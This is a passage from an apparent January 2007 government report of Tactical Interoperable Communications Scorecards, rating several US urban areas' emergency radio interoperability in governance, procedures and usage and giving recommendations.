infrastructure is meant to address challenges resulting from two different interoperability efforts between the City of
Louisville and Jefferson County. In January 2003, the City of Louisville and Jefferson County began coordinating their
interoperability efforts to address these challenges including antiquated technology and discipline specific
communications centers with different/marginal funding streams.
Urban/Metropolitan Area
A-40
January 2007
Tactical Interoperable Communications Scorecards
Baton Rouge, LA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Early Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The Baton Rouge Urban Area (UA) includes the City of Baton Rouge and the following parishes: Ascension, East
Baton Rouge, East Feliciana, Iberville, Livingston, Pointe Coupee, West Baton Rouge, and West Feliciana.
Governance: Early Implementation
10%5%
5%
5%
As noted by the UA, governance in Baton Rouge must “continue moving from traditional stovepipe operational
mentalities towards a regional, collaborative mindset supporting the need for and implementation of interoperability.”
An Interoperability Committee exists within the Urban Area Security Initiative structure, but the membership is
primarily emergency management agencies. The UA indicates that it is trying to involve additional first responder
disciplines and notes the need for more state and federal participation as a current challenge. Agreements among
agencies are largely informal, and no strategic plan has been developed to coordinate planning efforts in the UA.
Although leaders in the UA are supportive of the communications interoperability issue, it does not appear that a long-
term (e.g., 3 to 5 years) fiscal strategy to improve regional interoperability (in addition to federal grants) has been
developed.
Recommendations:
•
Ensure representation from first responder agencies across the UA in the governance group and clarify roles,
responsibilities, and relationships
•
Establish the Region II Interoperability Committee through a formal charter, include all local, public support, state,
and federal agencies (e.g., public health, utilities), and document roles and responsibilities as part of the group
•
Develop, document, and formalize agreements (e.g., signed memoranda of understanding [MOU] with defined
roles and responsibilities) among all participating agencies relating to regional interoperability
•
Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the Tactical Interoperable
Communications Plan (TICP) and store them in an accessible format
•
Establish a regular review process to ensure that agreements remain current and relevant
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP) with
participant approval, adoption, and acceptance, that takes into account a long-term communications funding
strategy (in addition to grants)
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Develop and implement a regional approach to long-term (e.g., 3 to 5 years) sustainable funding that is consistent
with the strategic plan
•
Begin to broaden and champion a governance structure that will support regional communications interoperability
and involve senior regional government leadership in long-term funding plans
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Baton Rouge TICP provided the first regional interoperability SOPs for the UA. Although strong representation
from throughout the UA was included in the development of the TICP, the documentation did not indicate the extent to
which these policies have been accepted in the UA. Based on the TICP validation exercise evaluation, more work is
needed to promulgate and practice these procedures; SOPs have not been officially disseminated to all area
organizations. Baton Rouge officials are addressing this need as indicated by a remote training program under
development through the Emergency Operations Center network, which could support SOPs training. Full acceptance
and ongoing training of SOPs will be critical in addressing gaps that were encountered during the validation exercise
10%
10%15%
15%
10%
10%15%
15%
10%5%
5%
5%
Urban/Metropolitan Area
A-41
January 2007
Tactical Interoperable Communications Scorecards
(e.g., failure to broadcast Communications Unit Leader [COML] designation). Likewise, the exercise evaluation
indicated that some issues were encountered with the use of the National Incident Management System (NIMS)/Incident
Command System (ICS) (e.g., Unified Command and COML responsibilities not announced). The TICP notes that
NIMS is not required (only recommended) of agencies in the UA, which is not in line with guidance provided for all
grantees.
Recommendations:
•
Develop regional communications interoperability SOPs (beyond the TICP) with acceptance by first responder
agencies across jurisdictions and disciplines
•
Distribute and put SOPs into practice through regular training, exercises, and usage (e.g., communications
interoperability among the eight parishes)
•
Consider scheduling a regular review and update process of developed policies and procedures
•
Initiate basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
Usage: Intermediate Implementation
10%
10%15%
15%
Officials in Baton Rouge indicated that they were using their numerous shared radio systems (e.g., six 800 megahertz
[MHz] systems, two ultra high frequency [UHF] systems, one very high frequency [VHF] system) and shared channels
on a daily basis for multi-agency communications. Gateways are regularly used to connect these disparate systems in
the UA, but there were observed difficulties in operating on the infrastructure in the TICP validation exercise (e.g., use
of 10 codes). Upon failed attempts to leverage interoperability solutions detailed in the TICP, many exercise
participants resorted to commercial cellular technology rather than continuing efforts to reconcile technical difficulties.
Evaluators noted, “Cell phones were used at all levels of command for critical communications across jurisdictions
throughout the exercise.” The apparent Baton Rouge public safety reliance on cellular technology would prove
especially ineffective in response to an incident wherein commercial infrastructure were damaged or during a period of
high commercial communications traffic (e.g., hurricane preparation and response).
Recommendations:
•
Regularly test and exercise deployment of and procedures for regional communications interoperability resources
(e.g., deactivation of gateways, use of talk groups) to improve proficiency
•
Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day
activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
This UA use disparate VHF, UHF, and non-Project 25 (P25) 800 MHz systems. The UA is moving toward integrating
its public safety system with the State of Louisiana’s new 800 MHz P25 radio system; the UA is assessing how to best
integrate the radio systems once the state has implemented its new system. Currently, the UA is planning to purchase
subscriber units for many local agencies, assess P25 backward compatibility features for some local communities to
interoperate, and apply National Public Safety Planning Advisory Committee frequencies for mutual aid.
Urban/Metropolitan Area
A-42
January 2007
Tactical Interoperable Communications Scorecards
New Orleans, LA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate Implementation
Louisiana Urban Area (UA) Region 1 includes the City of New Orleans, Orleans Parish, and mutual aid
partners Jefferson, St Bernard, and Plaquemines parishes.
Governance: Advanced Implementation
As a result of Hurricane Katrina, New Orleans has encountered an unheralded level of involvement from all
levels of government in the oversight of the communications interoperability issue. Governance in the area
is provided through the New Orleans Regional Communications Group, which provides recommendations to
the Louisiana Region 1 Board of Directors. The group is inclusive of both state and federal representatives.
Formal agreements are in place for use of the New Orleans Maritime Interoperable Committee [NOMIC]
system, and additional agreements have been adopted by included agencies since Hurricane Katrina.
Agreements have been reinforced by the adoption of a regional strategic plan, which is accepted by all
included agencies. While fiscal priorities have been clearly articulated in the development of a regional
shared system, a long-term funding strategy should be developed that looks beyond federal grants for the
inevitable lifecycle costs of a new system.
Recommendations:
•
Define governance structure in the Tactical Interoperable Communications Plan (TICP) to document the
roles, responsibilities, and relationships of the governance groups (e.g., New Orleans Regional
Communications Group)
•
Reference all applicable agreements (e.g., memoranda of understanding, intergovernmental agreements)
in the TICP and store them in an accessible format
•
Develop a funding strategy for identifying sustainable funding sources (in addition to grants) to cover
lifecycle and recurring costs to operate the area’s interoperability assets
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The New Orleans TICP is based on various existing policies and procedures (e.g., NOMIC gateways
procedures), as well as lessons learned from reviews of SOPs after Hurricane Katrina. The UA has taken a
number of steps to disseminate and begin training on the SOPs (e.g., distributed to all participating agencies
and dispatch centers, distributed through TICP Workshop) among the participating organizations. Ongoing
training and regular review of SOPs will be critical in addressing some gaps that were encountered during the
validation exercise (e.g., gateway policies were not followed). The exercise evaluation indicated that some
issues were encountered with the use of National Incident Management System (NIMS)/Incident Command
System (ICS), including lack of access to Unified Command and a failure to update the pre-developed ICS
205 form. NIMS/ICS has been a focus of training more than the last year, and it is now mandated through
city ordinance and executive order in all four parishes, which is commendable.
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-43
January 2007
Tactical Interoperable Communications Scorecards
Recommendations:
•
Develop training policies and requirements for inclusion in the TICP
•
Continue to implement regional interoperability SOPs across all participating agencies
•
Continue basic and advanced training and exercises on SOPs (include TICP implementation of
communications unit) and for NIMS/ICS to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
New Orleans has indicated that regular testing and exercise is a critical priority to ensure familiarity with the
use of new technology that is currently being implemented. This was demonstrated by the TICP validation
exercise, which was held immediately after the partial activation of the City of New Orleans’ newly acquired
700/800 megahertz (MHz) system. The exercise exposed some gaps, not only with use of the new system
(the evaluators noted that some participants had only one hour training on this system), but also with use of
the NOMIC fixed gateway system. As noted by the evaluators, the “NOMIC problem was caused by a lack
of operational familiarity with gateway operation.” The UA eventually incorporated both state and federal
agencies in the validation exercise through the use of the National Public Safety Planning Advisory
Committee (NPSPAC) channels and the NOMIC system. But, as noted by evaluators, “[T]he region should
consider establishing radio caches to support outside agencies.”
Recommendations:
•
As the new 700/800 MHz shared system is implemented, continue to include local, state, and federal
agencies (e.g., Louisiana State Police, National Guard, New Orleans Police Department) in
multidiscipline multijurisdictional communications in future exercises and day-to-day use
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The City of New Orleans operates a MA-COM 800 MHz radio system with police, fire, emergency medical services,
and city government. Since Hurricane Katrina, the agencies in the surrounding area typically operate on 800 MHz,
Project 25 (P25) radios working on the Jefferson Parish Sheriff’s Office radio system and have, at times, operated on the
state 700 MHz radio system. The NOMIC system has the only regional gateway, an ACU-1000. Interoperability is
achieved by use of the gateway, shared proprietary radio systems, and NPSPAC channels for mutual aid responses.
The UA is moving to a single, shared, dual-mode 700/800 MHz, fully P25-compliant, digital, trunked radio system that
will eliminate the requirement for gateways or patches between multiple disparate radio systems within the area. The
regional system will be connected to the state 700 MHz System. Events since Hurricane Katrina have indicated that
gateways and patches cannot handle the volume of voice communications traffic at the tactical level during a major
event. Gateways and patches may be able to handle limited command and control voice communications traffic at a
more strategic level.
Limited financial resources preclude the purchase of radios for radio caches within the area. The UA must rely on grant
funding for the purchase of most of its communications equipment and must ensure day to day operability before
investing in additional interoperability requirements.
Urban/Metropolitan Area
A-44
January 2007
Tactical Interoperable Communications Scorecards
Baltimore, MD
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Baltimore Urban Area (UA) includes Baltimore City, Annapolis City, Baltimore County, Anne Arundel
County, Carroll County, Harford County, and Howard County.
Governance: Established Implementation
15%
20%
20%
20%
The Central Maryland Area Radio Communications (CMARC) committee includes local, state, federal, and
private agencies (e.g., Maryland Department of Transportation, Mayor’s Office, Maryland Institute for
Emergency Medical Services Systems, Amtrak, and Aberdeen Proving Ground). Baltimore officials reported
that published and active agreements (e.g., memoranda of understanding [MOU]) are in place to ensure
communications interoperability, yet the Tactical Interoperable Communications Plan (TICP) does not
include reference to such agreements. There is a mix of formal and informal partnerships among the UA’s
public safety organizations. Officials report that the Baltimore UA is currently developing a strategic plan
for regional interoperable communications, but the entity responsible for strategic planning is not specified in
the documentation (i.e., Baltimore Urban Area Working Group, CMARC, and the Region 20 Committee all
appear to have responsibility for long-term planning). Organizations within the UA procure equipment and
develop budgets with some consideration for interoperability needs, but an overarching regional funding
strategy (e.g., for communications equipment, operations and maintenance) is not documented. The UA’s
senior leadership is actively involved in advocating for interoperable communications priorities and has
demonstrated an understanding of its importance (e.g., Mayor’s Office involvement in CMARC).
Recommendations:
•
Clarify the roles, responsibilities, and relationships of the governance groups (e.g., CMARC, Baltimore
Urban Area Working Group, Region 20 Committee) identified in TICP
•
Reference all applicable agreements (e.g., MOUs) in the TICP, and store them in an accessible format
•
Document and formalize agreements (e.g., signed MOUs with defined roles and responsibilities) among
all participating agencies to support partnerships on regional interoperability
•
Establish a regular review process to ensure that agreements remain current and relevant
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP)
with participant approval, adoption, and acceptance that takes into account a long-term communications
funding strategy (in addition to grants)
•
Identify the organization that is responsible for regional strategic planning processes
•
Clarify whether long-term (e.g., 3 to 5 years) sustainable funding exists (to include interoperable
communications asset procurement) that is consistent with strategic planning efforts
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
Baltimore incorporated previously existing polices and procedures (e.g., 800 megahertz [MHz] shared
system SOPs and mutual aid channels SOPs) into the TICP. The UA has taken steps to disseminate these
SOPs to participating organizations (e.g., distributed directly to all included organizations and dispatch
centers, distributed at the TICP Workshop). The UA should be commended for documenting a training
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-45
January 2007
Tactical Interoperable Communications Scorecards
process in the TICP; however, the schedule is date specific and could benefit from defining a regular training
interval. Although TICP validation exercise participants showed an understanding of SOPs, the Baltimore
UA has been implementing National Incident Management System (NIMS)/Incident Command System
(ICS) for only 6 months. The UA includes all first responders and additional public safety organizations in
SOP training. During the exercise, the participants displayed a familiarity with ICS and unified command
protocols and procedures (e.g., unified command established with law enforcement, fire, and hazardous
materials agencies), but had specific difficulties with NIMS/ICS (e.g., Communications Unit Leader not
actively involved in coordination of incident communications, ICS Form 205 not distributed). Although the
TICP validation exercise and provided documentation show progress on SOP implementation, it should be
noted that the TICP itself did not include specific references to or descriptions of regional SOPs that may be
applied in incident response.
Recommendations:
•
Expand the TICP to reference and document all regional interoperability SOPs
•
Consider scheduling a regular review and update process of policies and procedures
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The UA frequently uses its means of available interoperable communications in day-to-day, task force, and
mutual aid incidents (e.g., gateways, shared systems, shared channels, radio cache). Additionally, officials in
the UA report proficiency in using interoperable equipment (e.g., common talk groups used for interoperable
communications in the recent hazardous material spill on highway I-83). During the TICP validation
exercise, participants successfully established interoperable communications within local and regional
responders (e.g., Cecil, Baltimore, and Harford County law enforcement, fire, and emergency
medical services). Due to the limited scope of the exercise; however, it appears that the level of state and
federal participation (beyond Maryland State Highway Patrol) was insufficient to demonstrate
communications interoperability across levels of government.
Recommendations:
•
Consider including federal agencies (e.g., Aberdeen Proving Ground) in future exercises
•
Consider adding interoperable communications as an evaluation component for all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Baltimore UA has five 800 MHz mobile relay frequencies for use as shared channels for all interoperable
communications. They also have caches available which are compatible with 800 MHz frequencies. Six 800 MHz
trunked systems are used for interoperable communications among the local police departments, fire departments, and
emergency medical services as well as federal and state law enforcement. Six direct channels will be available for
interoperability in the near future.
Urban/Metropolitan Area
A-46
January 2007
Tactical Interoperable Communications Scorecards
Boston, MA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Boston Urban Area (UA), also referred to as the Metro Boston Homeland Security Region (MBHSR),
includes nine jurisdictions: the cities of Boston, Cambridge, Chelsea, Everett, Quincy, Revere, and
Somerville; and the towns of Brookline and Winthrop.
Governance: Established Implementation
15%
20%
20%
20%
The Boston UA is overseen by nine Jurisdictional Points of Contact, who provide guidance to an established
Communications Interoperability Subcommittee (CIS). Partnerships among member agencies are provided
through a combination of formal and informal agreements (e.g., memoranda of understanding); most of the
agreements are among local first responder agencies. The Tactical Interoperable Communications Plan
(TICP) Peer Review noted that “the panel was impressed with the strength of long-term interoperability
shown through this planning process” and a regional 5-year strategic plan was included as an appendix to
Boston’s TICP. Year-to-year grant funds have provided for the majority of regional communications
priorities, but the Boston UA has not developed long-term funding strategies (in addition to grants) for
addressing lifecycle costs. Leaders in the UA (e.g., MBHSR and Massachusetts Executive Office of Public
Safety are in full support of communications interoperability efforts) appear to recognize the importance of
interoperability, and this executive involvement will be critical to ensuring the long-term success for
interoperability in the UA.
Recommendations:
•
Expand CIS membership to include public support disciplines, state, and federal agencies (e.g., hospitals,
public health)
•
Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years)
interoperability planning and sustainable funding, and encourage regional funding alternatives and
sources (in addition to grants)
•
Continue to broaden and champion a governance structure that would more fully support regional
communications interoperability
•
Continue to involve senior government leadership on interoperability and encourage long-term regional
funding plans
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Boston UA incorporated existing SOPs into the development of its TICP, including procedures for the
Boston Area Police Emergency Radio Network system and MetroFire. The TICP expands these policies to
support multijurisdictional, multidiscipline communications interoperability throughout the area, and, as the
TICP Peer Review noted, the Boston TICP “shows comprehensive cooperation and collaboration among the
agencies in the region.” The UA is beginning the process of disseminating the procedures to jurisdictions
and agencies through TICP training. This training will help address some gaps identified during the TICP
validation exercise (e.g., use of agency identifiers), particularly for emergency medical services (EMS)
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-47
January 2007
Tactical Interoperable Communications Scorecards
agencies as reported by the UA. Boston officials indicated that they were in the process of implementing the
National Incident Management System (NIMS)/Incident Command System (ICS) and training was ongoing.
The TICP validation exercise demonstrated some gaps with NIMS/ICS (e.g., establishment of a unified
command), which ongoing training planned by the area should address.
Recommendations:
•
Document and distribute regional interoperability SOPs (beyond the TICP) and put them into practice
through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage
•
Identify the title and source documentation for existing SOPs in the TICP
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Boston UA uses its shared systems and gateways (including console patches) on a daily basis. Likewise,
the use of a common channel plan was noted by the exercise evaluators as a best practice. The UA
incorporated local first responder agencies in its TICP validation exercise and demonstrated successful use of
each category of interoperable equipment during the TICP validation exercise (e.g., Everett and Cambridge
site responders uses each others’ shared channels on a routine basis and demonstrated proficiency with their
use). Officials within the UA indicated during their exercise “hotwash” that EMS had some difficulty
communicating. As a key component of the first response agencies, EMS capabilities for interoperable
communications are a priority to address.
Recommendations:
•
Consider adding interoperability as a component for all future exercises and day-to-day activities, as
appropriate
•
Consider including additional local, state, and federal agencies (e.g., public health) in future exercises
and day-to-day use
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Interoperability in the area is achieved by exchanging of radios, sharing of channels, gateway solutions, and shared
systems. Five radio caches are available that contain radios in the very high frequency (VHF), ultra high frequency
(UHF), and 800 megahertz (MHz) bands. Additionally, a regional subscriber unit channel plan is in place—radios are
programmed with a common set of shared channels and functions including one channel for each fire department and
police department in the area. Shared channels are available for use in each of the three prevalent frequency bands (i.e.,
VHF, UHF, and 800 MHz). Six mobile gateway devices (either vehicle or trailer mounted) are available for use—two
owned by Boston EMS and one each by Chelsea, the Massachusetts State Police, the Massachusetts Bay Transportation
Authority, and the Massachusetts Department of Fire Services. There are no fixed gateways in the UA. The MBHSR
has a 5-year strategic plan in place to ensure that the communications interoperable capabilities are continually being
improved. One plan for the future in the UA is to migrate all shared systems to the UHF frequency band.
Urban/Metropolitan Area
A-48
January 2007
Tactical Interoperable Communications Scorecards
Detroit, MI
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The Detroit Urban Area (UA) includes the City of Detroit and the Counties of Macomb, Monroe, Oakland,
St. Clair, Washtenaw, and Wayne.
Governance: Intermediate Implementation
10%
10%15%
15%
The Southeast Michigan regional Interoperability Communications Committee was recently established to
address specific communications interoperability in the UA. After initially coming together to develop the
Tactical Interoperable Communications Plan (TICP), the group was formalized in October 2006 and began
regularly meeting in November 2006. The UA is making an effort to prioritize interoperable
communications (e.g., developing and maintaining budgets and procuring communications equipment with
consideration for interoperability) and has formal partnerships among organizations, but lacks formal,
documented interoperability agreements outside of the TICP. Beyond the UA’s efforts in creating the TICP,
the documentation does not indicate that a regional strategic plan focused on interoperable communications
exists except in the early planning stages. Funding for interoperable communications is a high priority
locally and organizations make their procurement decisions with consideration for regionwide
interoperability. However, the majority of funding is based on federal grants and therefore does not address
recurring costs for equipment operations, maintenance, and improvements. The Communications Committee
must have the ability to work with high-level leadership who would be able to provide continued fiscal and
political support for interoperable communications throughout the UA.
Recommendations:
•
Continue to meet regularly, include all agencies participating in public safety efforts in the UA, and
define roles and responsibilities
•
Document and formalize the necessary agreements (e.g., memoranda of understanding), including local,
state, and federal partnerships, to achieve regional communications interoperability goals
•
Develop a strategic plan with long-term interoperability goals (beyond the operational focus of the
TICP), with participant approval, adoption, and acceptance
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years)
interoperability planning and sustainable funding
•
Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically
advocate for and focus on communications interoperability issues; consider establishing a direct line of
communication among local and state agencies to promote consensus advocacy
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Detroit UA incorporated several pre-existing individual county SOPs into the regional TICP. In addition
to using existing county SOPs, the UA (through the TICP process) attempted to develop more
comprehensive policies to address regional communications interoperability issues. However, the TICP Peer
Review voiced a concern that the TICP’s focus was “primarily on local and individual systems’ operational
10%
10%15%
15%
10%
10%15%
15%
10%
10%15%
15%
Urban/Metropolitan Area
A-49
January 2007
Tactical Interoperable Communications Scorecards
procedures and not on regional authority or usage prioritization” and recommended that “[t]he site should
consider moving towards consolidation of [regional] procedures.” The Detroit UA has not yet distributed the
newly created regional SOPs to all public safety agencies in the UA, although they did participate in a TICP
Workshop in preparation for their validation exercise. The Detroit UA is in the process of implementing the
National Incident Management System (NIMS)/Incident Command System (ICS), which implies that the UA
is still in the earlier stages of implementing NIMS/ICS policies and procedures.
Recommendations:
•
Review and update SOPs to ensure consistency with regional and statewide interoperability planning and
implementation efforts
•
Develop, disseminate, and train on regional communications interoperability SOPs (beyond the TICP
Implementation Workshop)
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
Agencies within the Detroit UA were able to achieve communications interoperability adequately within the
area through their existing communications solutions (e.g., radio cache, shared system). Although the
Detroit officials indicated that interoperable communications equipment resources (e.g., radio cache,
gateways) were used infrequently, the TICP validation exercise and After Action Report noted that users
possessed the knowledge and skills to effectively employ the communications interoperability equipment.
During the TICP validation exercise, the UA encountered repeated problems attempting to use gateways
(e.g., gateways could not be activated at Wayne County Emergency Operations Center or the Mobile
Command Center). Additional steps, including regular training and exercise on available resources (such as
gateways), would be beneficial in achieving multijurisdictional communications interoperability.
Recommendations:
•
Regularly test and exercise deployment of regional interoperability resources to improve proficiency
(e.g., gateways)
•
Involve additional local, state, and federal agencies in training and exercises
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Detroit UA has multiple very high frequency (VHF), ultra high frequency (UHF), and 800 megahertz (MHz) radio
systems operating in analog and digital modes. Communications interoperability is achieved through cached radios,
enabling mobile and fixed gateways (including Codespear Smart Msg equipment) and shared channels, including those
provided by the National Public Safety Policy Advisory Committee (NPSPAC) and the Michigan Public Safety
Communication System (MPSCS). Various agencies have access to the MPSCS 800 MHz digital trunked radios for
command and control during multi-agency incidents. The UA will use the shared channels on MPSCS and NPSPAC
and other VHF and UHF mutual aid channels and gateways to increase interoperability.
Urban/Metropolitan Area
A-50
January 2007
Tactical Interoperable Communications Scorecards
Twin Cities, MN
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
In Minnesota, the “Twin Cities” have been designated as the state’s Urban Area (UA). The Twin Cities are
St. Paul and Minneapolis, but the UA has been designated to include all the cities, townships, and political
subdivisions within and including the counties of Dakota, Hennepin, and Ramsey.
Governance: Advanced Implementation
The Urban Area Administrative Council oversees the Communications Subcommittee, which includes local,
state, and federal representatives (e.g., Metropolitan Council, Department of Transportation, National Guard)
and proactively recruits involvement by additional public safety organizations. The Twin Cities have a
strategic plan for interoperable communications that has been accepted by the participating organizations.
Interoperable communications funding requirements are defined in the regional strategic plan, and through a
variety of local resources (e.g., 9-1-1 surcharge and seatbelt fines), organizations within the Twin Cities UA
procure equipment and develop budgets according to these strategic goals. The identification of
interoperable communications goals and this diversification of funding sources to support them demonstrates
strong commitment to sustainable interoperability. The UA’s leadership support these governance efforts
and serves as an interoperability advocate to ensure long-term political and fiscal support for continued
regional interoperability success.
Recommendation:
•
Clarify that a process exists to review agreements (e.g., memoranda of understanding) and the strategic
plan on a regular basis or after significant events or upgrades to ensure alignment with current
interoperable communications needs
Standard Operating Procedures (SOP): Advanced Implementation
The Twin Cities incorporated existing interoperable communications SOPs (regional policies and procedures
were created in 1986) in creating the Tactical Interoperable Communications Plan (TICP). Since these SOPs
were already well established and used frequently, the public safety agencies in the UA were well positioned
to adopt the TICP. In addition to widely disseminating these SOPs to the agencies in UA, the area is
planning a large-scale Communications Center Manager training event. The incorporation of legacy
interoperable communications SOPs into the area’s current operating procedures and the significant level of
training on the SOPs for first responders in the area is commendable and should be considered a best
practice. Additionally, according to evaluators, “participants as a whole demonstrated a fairly solid
understanding of the SOPs outlined in the TICP” during the exercise. The area implemented National
Incident Management System (NIMS)/Incident Command System (ICS) more than 1 year ago, which
indicates that the agencies have spent some time aligning their prior command and control procedures to be
NIMS compliant. Although the participants experienced a few minor problems with command and control
communications (e.g., naming conventions, initial unified command announcement), they demonstrated
familiarity with the processes as noted in their exercise evaluations. Officials in the area reported that they
Urban/Metropolitan Area
A-51
January 2007
Tactical Interoperable Communications Scorecards
are committed to continuing NIMS/ICS training and further implementation of the interoperable
communications processes.
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The Twin Cities report frequent use of their available means of interoperable communications (e.g., cache
radios, gateways, shared channels, shared systems). During the TICP validation exercise, participants were
able to successfully establish interoperable communications among first responders and regional responders
(e.g., Mall of America Security, Minnesota Department of Public Safety). They demonstrated proficiency in
use of cache radios, gateways, shared channels, and shared systems. As noted by evaluators during the
exercise, the “Twin Cities demonstrated a broad and largely effective use of interagency communications
capabilities.” As further illustration of the UA’s demonstrated familiarity with communications
interoperability solutions, in a October 2006 real-world hazardous materials incident in the UA, over 100
local, state, and federal response agencies were able to coordinate efforts to an impressive degree.
Recommendation:
•
Consider adding interoperable communications as an evaluation component for all future exercises and
day-to-day activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The City of Minneapolis and Hennepin County agencies currently operate on the Allied Radio Matrix for Emergency
Response (ARMER) systems. The ARMER systems include an 800 megahertz (MHz) digital trunked system, a very
high frequency (VHF) system, and an ultra high frequency (UHF) system. The City of St. Paul, Dakota County, and
Ramsey County operate on various 800 MHz, VHF, and UHF systems. Interoperability is achieved using shared radios,
gateways, console patches, and shared channels (e.g., ARMER 800 MHz, VHF, UHF, and National Public Safety
Planning Advisory Committee 800 MHz frequencies).
Ramsey County includes the City of St. Paul and is currently migrating to the ARMER radio system. Dakota County
will migrate to the ARMER system in 2007. In addition, the metropolitan area, consisting of nine counties and
including the three UA counties, is developing a 700 MHz wideband data interoperability solution.
Urban/Metropolitan Area
A-52
January 2007
Tactical Interoperable Communications Scorecards
Kansas City, MO
Tactical Interoperable Communications Scorecard
Sum
Sum
Sum
Summary
mary
mary
mary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Kansas City Urban Area (UA) includes 8 counties and more than 100 cities. The eight counties are Jackson, Platte,
Cass, Clay, and Ray in Missouri; and Johnson, Leavenworth, and Wyandotte in Kansas.
Governance: Established Implementation
15%
20%
20%
20%
Faced with disparate infrastructure within the area and across the state border, the Kansas City UA has developed a
strong governance structure to address communications interoperability challenges. The Regional Interoperability
Committee (RIC) provides advice and guidance to the Public Safety Communications Board (PSCB), which has
responsibility for coordinating communications interoperability. While the PSCB is a formalized group, interoperability
agreements among included agencies are generally informal. The UA indicated that memoranda of understanding
(MOU) have been developed and distributed, but some agencies have not yet signed them. The Kansas City UA five-
year strategic plan that includes strategic interoperable communications efforts has been accepted by the Regional
Homeland Security Coordinating Committee representing the region’s first responder agencies, and a process has been
established to annually review the plan. Kansas City officials indicated that they are working together to pursue
regional funding, specifically for the implementation of the regional interoperable communications plan including
regional voice and data communications. The region has designated portions of Urban Area Security Initiative and
other federal grants to complete the first phase of the Regional Area Multi-Band Integrated System (RAMBIS), which
will link the UA’s three communications bands. The documentation did not directly indicate whether communications
interoperability efforts were driven by available grants or a long-term funding strategy that addresses lifecycle costs.
Although elected officials, as well as public safety executives, are aware of interoperability issues, the UA needs to take
proactive steps to ensure that interoperability continues to be a political and fiscal priority.
Recommendations:
•
Ensure broader participation (e.g., involve federal and tribal agencies) in the decision-making group
•
Document, formalize, and put into practice the necessary interoperability agreements (e.g., MOUs), and reference
all applicable agreements in the Tactical Interoperable Communications Plan (TICP) and store them in an
accessible format
•
Ensure the participation of all possible regional responders in the strategic plan
•
Align local, state, and federal strategic planning efforts to ensure that regional interoperability needs are met
•
Incorporate regional interoperability funding strategy into strategic plan, such as considering funding models (in
addition to grants) that can leverage local, regional, and statewide strategic planning efforts
•
Motivate broader acceptance of communications interoperability as both a political and fiscal priority for the UA
and at the state level
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Kansas City UA’s TICP is built on existing SOPs, including discipline-specific mutual aid channel procedures that
have been in place for a number of years. Kansas City officials indicated that the TICP provided a regionwide focus on
communications interoperability SOPs. Since the SOPs were developed and finalized shortly before the TICP
validation exercise, the UA has begun the process of disseminating these policies to the included agencies (e.g.,
distribute SOPs to dispatch centers, make gateway SOPs available with gateways). While some issues with SOPs (e.g.,
15%
20%
20%
20%
15%
20%
20%
